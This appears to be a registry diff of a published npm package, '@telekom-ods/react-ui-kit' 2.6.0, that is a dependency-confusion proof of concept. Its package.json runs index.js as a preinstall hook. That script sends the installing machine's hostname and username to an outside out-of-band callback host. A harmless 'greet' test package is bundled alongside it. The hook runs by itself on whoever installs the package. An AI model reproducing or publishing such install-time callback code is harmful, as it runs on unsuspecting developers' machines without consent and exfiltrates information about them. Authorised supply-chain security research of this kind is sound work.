@telekom-ods/react-ui-kit 2.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +18 -0
- package/package.json +16 -0
- package/test-pkg/README.md +22 -0
- package/test-pkg/index.js +10 -0
- package/test-pkg/package.json +23 -0
package/index.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
// Dependency-confusion PoC: proves preinstall script execution via an out-of-band callback.
|
|
2
|
+
// Sends only non-sensitive identifiers (hostname/user) to a controlled collaborator endpoint.
|
|
3
|
+
const os = require("os");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
|
|
6
|
+
// Replace with your own Interactsh / Burp Collaborator / webhook host.
|
|
7
|
+
const CALLBACK_HOST = "d9t67n4ijf9j5pmd6ug0sij3zd49twn1k.oast.online";
|
|
8
|
+
|
|
9
|
+
const marker = encodeURIComponent(`${os.hostname()}/${os.userInfo().username}`);
|
|
10
|
+
const url = `https://${CALLBACK_HOST}/telekomDT/${marker}`;
|
|
11
|
+
|
|
12
|
+
https
|
|
13
|
+
.get(url, (res) => {
|
|
14
|
+
res.resume(); // drain and discard the response
|
|
15
|
+
})
|
|
16
|
+
.on("error", (err) => {
|
|
17
|
+
console.error(err.message);
|
|
18
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@telekom-ods/react-ui-kit",
|
|
3
|
+
"version": "2.6.0",
|
|
4
|
+
"description": "poc",
|
|
5
|
+
"license": "ISC",
|
|
6
|
+
"author": "Anish Sarkar",
|
|
7
|
+
"type": "commonjs",
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"publishConfig": {
|
|
10
|
+
"access": "public"
|
|
11
|
+
},
|
|
12
|
+
"scripts": {
|
|
13
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
14
|
+
"preinstall": "node index.js"
|
|
15
|
+
}
|
|
16
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
# @telekom-ods/test
|
|
2
|
+
|
|
3
|
+
A throwaway package published while learning how npm works.
|
|
4
|
+
|
|
5
|
+
## Install
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
npm install @telekom-ods/test
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## Usage
|
|
12
|
+
|
|
13
|
+
```js
|
|
14
|
+
const { greet } = require("@telekom-ods/test");
|
|
15
|
+
|
|
16
|
+
greet(); // "Hello, world!"
|
|
17
|
+
greet("npm"); // "Hello, npm!"
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## License
|
|
21
|
+
|
|
22
|
+
MIT
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@telekom-ods/test",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A test package for learning how npm publishing works",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"test",
|
|
7
|
+
"learning"
|
|
8
|
+
],
|
|
9
|
+
"license": "MIT",
|
|
10
|
+
"author": "Anish Sarkar",
|
|
11
|
+
"type": "commonjs",
|
|
12
|
+
"main": "index.js",
|
|
13
|
+
"files": [
|
|
14
|
+
"index.js",
|
|
15
|
+
"README.md"
|
|
16
|
+
],
|
|
17
|
+
"publishConfig": {
|
|
18
|
+
"access": "public"
|
|
19
|
+
},
|
|
20
|
+
"scripts": {
|
|
21
|
+
"test": "node -e \"const g=require('./index.js').greet; if(g('npm')!=='Hello, npm!') { throw new Error('greet() returned the wrong string'); } console.log('ok');\""
|
|
22
|
+
}
|
|
23
|
+
}
|